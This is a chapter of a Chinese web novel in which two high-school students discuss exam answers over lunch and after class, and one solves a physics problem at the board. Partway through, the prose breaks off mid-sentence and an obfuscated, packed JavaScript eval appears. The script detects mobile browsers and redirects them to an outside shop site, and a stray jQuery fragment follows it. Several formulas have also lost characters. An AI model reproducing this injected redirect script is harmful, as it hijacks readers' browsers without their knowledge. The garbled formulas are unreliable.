第二次月考在周日下午四点半正式结束。
收卷铃响的那一刻，整栋教学楼同时发出了一声巨大的呼气——不是某个人的，是七百多个人同时把憋了两天的气吐出来的声音。
苏晚柠从第五考场走出来的时候，天已经有点暗了。十二月的天黑得早，四点半天就开始往下沉，到五点已经完全黑透。她站在考场门口的走廊上，先把左手摊开——"别慌"两个字已经模糊了，掌心出了汗，墨水洇成一团。再摊开右手——"增反减同"只剩"增"字还看得清。
不过没关系。她这次不需要低头看手心就知道答案。
物理那道电磁感应选择题，题目问"当磁铁N极靠近线圈时，感应电流产生的磁场方向是——"，选项里有个"与原磁场方向相同"和"与原磁场方向相反"。她在草稿纸上画了磁铁方向箭头，标了磁通量变化，然后写了四个字：增反减同。
选了"相反"，三秒钟搞定——不是蒙的，不是排除法，是她真的知道为什么选这个。
这种感觉比考了多少分都重要。
周一，月考结束的第一天。各科老师都在抓紧批卷子，成绩还没公布，所以这一天在县高中等于是"合法放空日"——老师还没成绩可以拿来讲，学生还没分数可以被拿来骂。
上午第四节自习课，教室里弥漫着一种考试后的慵懒气氛。有人在补觉，有人在偷偷看小说，有人在假装做题其实笔根本没动。赵磊在最后一排用课本挡着手机打王者荣耀，每三十秒抬头看一次后门。
苏晚柠在翻自己的化学书。
她没有在做题。她只是在翻——翻到某一页的某个知识点，停下来想一想考试的时候有没有考到，然后继续翻。这是一种奇异的平静——和考试前的紧张、考试中的紧绷都不一样，是一种"我已经做了我能做的所有事，剩下的不属于我该担心"的放松。
赵磊打完了一把排位——输了——把手机往桌肚里一塞，探过头来。
"苏晚柠，化学最后那道计算题你算出来多少？"
"三十四点六克。"
"真的假的？"赵磊扭头去问旁边的人，"你多少？"
"我算的三十五——"
"我也是三十五——"
赵磊转过头来看苏晚柠，表情像是她刚才说出了一个外星数字。
苏晚柠没理他，继续翻书。三十四点六克——她算了三遍，第一遍得出三十四，第二遍三十四点五，第三遍三十四点六。三遍的结果越来越接近，说明方法是对的，误差在计算精度上。
宋星燃坐在她斜后方，一直在旁边听着，这时候开口了。
"她是对的。"
赵磊转过头："你怎么知道？你算的是多少？"
"三十四点六。"
"——行吧。"赵磊摊手，"年级第一和年级——嗯——现在已经不是倒数了——反正是你们俩对，我错了。我三十五。"
"你计算中间有个数没保留小数点后两位。"宋星燃说，语气平淡得不像是解释，像是在播报天气。
赵磊张嘴想反驳，然后想了想自己确实没保留小数，闭嘴了。
中午食堂，苏晚柠点了一份糖醋里脊和一份西红柿炒蛋，没点红烧肉。
"今天不囤脂肪了？"宋星燃看了一眼她的盘子。
"考完了，不用加营养了。"苏晚柠夹起一块糖醋里脊，"糖醋里脊不算肉——裹了面糊炸过的，属于面食。"
"……你的分类学是体育老师教的？"
"我的分类学是食欲决定的。"
两个人面对面坐下。苏晚柠吃了几口，忽然放下筷子，从书包里掏出一张被折了两折的草稿纸。
"对了——数学那道填空题，我好像做错了。"她把草稿纸摊开，上面密密麻麻写着数字和公式，"就是那道求函数极值点的——我答案是三。但我刚才翻书发现我少考虑了一个条件。函数定义域是x大于零，我求出来的极值点是x等于三和x等于负一，负一不在定义域里直接舍了——但三代入回原函数验证的时候，发现二阶导等于零，不是极值点。"
"所以？"
"所以我那道题可能一分都拿不到。"苏晚柠用筷子戳了一下米饭，"那道题六分。"
宋星燃夹了一筷子西红柿炒蛋："正确答案是六。"
"嗯——等等，你怎么知道的？"苏晚柠抬起头，"你怎么算的？"
"假设。"
"……什么？"
"假设答案是六。"宋星燃把西红柿炒蛋吃完，语气像是在陈述一个客观事实，"把六代入原函数，往上验证每一步，发现每一步都成立——诶，假设对了。"
苏晚柠愣了一下，然后差点把嘴里的米饭喷出来。
"你别搞笑——"她用手背捂住嘴，好不容易把米饭咽下去，"什么叫'假设答案是六'？你做题不是应该正规地求导、解方程、验证吗？"
"正规做法是这样。"宋星燃拿过她的草稿纸，翻到背面画了几笔，"f(x)=x?-2x-3/lnx+1，先求导——lnx求导是1/x，这个你知道吧？——然后令导函数等于零，得到x?lnx=3——这个方程没有解析解。"
他停顿了一下。
"没有解析解的意思就是——你没法用代数方法解出x等于几。就算你正规做，最后也只能数值逼近。"
苏晚柠盯着草稿纸上他写的那几行推导，眉毛拧成一团："所以你的意思是——"
"我的意思是这道题的标准解法就是'猜一个数然后验证'。"宋星燃把笔放下，"我猜了六，验证通过。所以答案是六。如果你猜五，验证不通过，换一个猜。猜到六，过了。"
"……年级第一的做题方法就是猜？"
"这叫数值法。"宋星燃面不改色，"大学高等数学里专门有一章讲这个。"
苏晚柠看着他，沉默了大约三秒钟。
然后她把脸埋进胳膊里，肩膀开始抖。
"你在我心里的人设崩了。"她的声音闷在胳膊里，"我以前一直以为你是那种——每一步都是严格逻辑推导——像个行走的数学定理证明器——然后你告诉我你的做题方法是'我猜六，诶对了'——"
"猜也是一种科学方法。"宋星燃继续吃他的饭，"你生物课没学过假说-演绎法？提出假设，验证假设。猜就是提出假设。"
"那叫科学假说，不叫'诶对了'。"
"本质是一样的。"
苏晚柠把头抬起来，眼角还有笑意没消，表情在"太好笑了"和"我为什么要补数学"之间反复横跳："所以你平时考试遇到这种题都是直接猜答案？"
"不是所有题。"宋星燃说，"只有超越方程——就是不能用初等函数表示解的方程——才用数值法。这种题在高中阶段很少，一般只出现在压轴填空题。出题人的意图就是让你不要硬算，用数值逼近。"
"那你猜不准怎么办？"
"多猜几个。"
"……"苏晚柠深吸一口气，"你知不知道你这个回答跟没回答一样？"
"不一样。"宋星燃把最后一口饭吃完，"至少你现在知道了——数学不是只有一种解法。"
苏晚柠低头看草稿纸上他写的那几行推导。一行一行看过去，眉头从拧着变成松开。最后她把草稿纸折好夹进错题本里，在错题本新的一页上写了一行字：
"超越方程→数值法。出题人想让你'猜'。"
写完她抬头看了宋星燃一眼："你以后能不能正常点教我？先把正规做法教了，再告诉我'其实可以猜'。"
"这样印象更深刻。"
"——你故意的？"
宋星燃端着空盘子站起来，表情毫无波澜："你猜。"
苏晚柠把笔往桌上一拍："你今天跟'猜'过不去了是吧——"
下午第一节是物理课。刘老师在黑板上写了一道电磁感应的综合题，问全班谁上来做。
没人举手。
刘老师的目光扫了一圈，最终落在了苏晚柠身上。
"苏晚柠，你上来试试。"
苏晚柠站起来的时候腿有点软——不是因为怕做题，是因为这是她高中以来第一次被物理老师点名上黑板做题。以前刘老师点她名字都是在批评——"苏晚柠你又错了""苏晚柠你这个公式写反了""苏晚柠你看我干嘛看黑板"。
她走上讲台，拿起粉笔。题目是一道带电粒子在磁场中做圆周运动的计算题——她在图书馆练了三道类似的题，最后一道做对了。
第一步——画图。磁感线方向、速度方向、半径方向。
第二步——列公式。R=mv/qB。
第三步——代数。质量、电量、速度、磁感应强度，一个一个写上去。
第四步——计算。她算了两遍，第一遍算错了——粉笔在黑板上划了一道，重新写。
刘老师站在旁边，一个字没说。
第四步算完之后，苏晚柠在黑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626840|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
板上写下了最终结果——"r=0.04m=4cm"。
"……对了。"刘老师说，语气里带着一点意外，但更多的是"你本来就该做对"的理所当然，"思路清晰，每一步都写在黑板上。以后做题就这个标准——画图、列公式、代数、计算。缺一步扣分。下去吧。"
苏晚柠把粉笔放回粉笔槽，转身走下讲台。她的座位在靠窗的第四排，从讲台走过去大概需要十步。
这十步里，她听到旁边有同学在小声说——
"苏晚柠什么时候物理这么好了？"
"不是物理好了——是她以前根本不做题好吧。"
"也是——"
她走回座位坐下，把物理书翻开。刘老师继续讲课，粉笔在黑板上敲出节奏。苏晚柠低头在笔记本上记了一句话："画图→列公式→代数→计算，缺一步扣分。"
窗外十二月的阳光很薄，从玻璃窗斜着照进来，刚好落在她笔记本的右边三分之一处。光线把她的字照得比平时好看了一点。
下午放学后，宋星燃在教室门口等苏晚柠拿书包。
她一出来就开口："说吧——化学最后那道推结构式的题，你答案是什么？"
"C?H??O。"
"……我的是C?H?O?。"苏晚柠把书包甩到肩上，"差了整整两个氢和两个氧。没救了。"
"你的推法是什么？"
"核磁共振氢谱四组峰——苯环上一组，甲基上一组——后来发现有个峰是活泼氢——"
"活泼氢是哪个位置？"
"羟基。"
"那不就对了——C?H?O?比C?H??O多一个氧，少两个氢，就是苯环上多了一个羟基。你推的结构是苯环上有一个羟基一个甲基，我的是苯环上只有一个甲基还有一个醛基——"
"等等等等。"苏晚柠举起一只手，"你是说我们俩的答案其实是一样的只是位置不同——"
"不一定。要看题目给的红外光谱数据。如果题目说有羰基吸收峰，那就是我的对；如果没有羰基只有羟基，那就是你的对。"
苏晚柠愣了一秒，然后开始翻书包："——题目有没有说羰基——"
"题目说的是1700cm??有一个强吸收峰。"
"……那就是羰基。"苏晚柠把刚掏出来的试卷翻到最后一页，盯着题目看了五秒，"完了，我又错了。"
"错了就改。你现在错总比高考错好。"
"——你能不能不要在我不想听道理的时候讲道理？"
"那你想要什么。"
"想要你说一句'没事，下次你肯定能做对'。"
"'没事，下次你肯定能做对'。"
"……你能不能不要原封不动地复读？显得很敷衍。"
"那怎么说不敷衍？"
"要加语气。比如——"苏晚柠清了清嗓子，模仿宋星燃的语调，"'没事，下次——你——肯定——能做对。'每个词之间停顿半秒，最后一个字稍微上扬。"
宋星燃看了她一眼。
"这个要求超纲了。"
苏晚柠翻了个白眼，大步往校门口走。走了几步又回头——
"对了——你那道填空题，真的是猜出来的？"
"真的。"
"你猜了几次？"
"一次。"
"——你猜一次就猜对了？"
"嗯。"
"为什么猜六不猜五？"
"因为六比较吉利。"
苏晚柠站住脚步，回头盯着宋星燃看了整整三秒，脸上写满了"你在逗我"。
宋星燃从她身边走过去的时候，嘴角往上弯了不到一毫米——这个弧度在苏晚柠的专业判断下，属于"欠揍"级别。
"你就不能正经一分钟？"她追上去。
"我刚才讲题的时候正经了九分钟。"
"——你是记了时的？"
"没有。猜的。诶，猜对了。"
苏晚柠深吸一口气，放弃了跟他讲道理的打算。
十二月的县中校门口，银杏树叶子已经掉光了，只剩下光秃秃的枝条在风里晃。苏晚柠把围巾往上裹了一圈，咕哝了一句"反正下次月考我一定要把化学那道结构推对"，然后头也不回地往宿舍方向走。
宋星燃站在原地看着她走了大约五步，确定她不会再回头问"为什么是六"，然后转身往教学楼走——晚上还有一套数学模拟卷要做。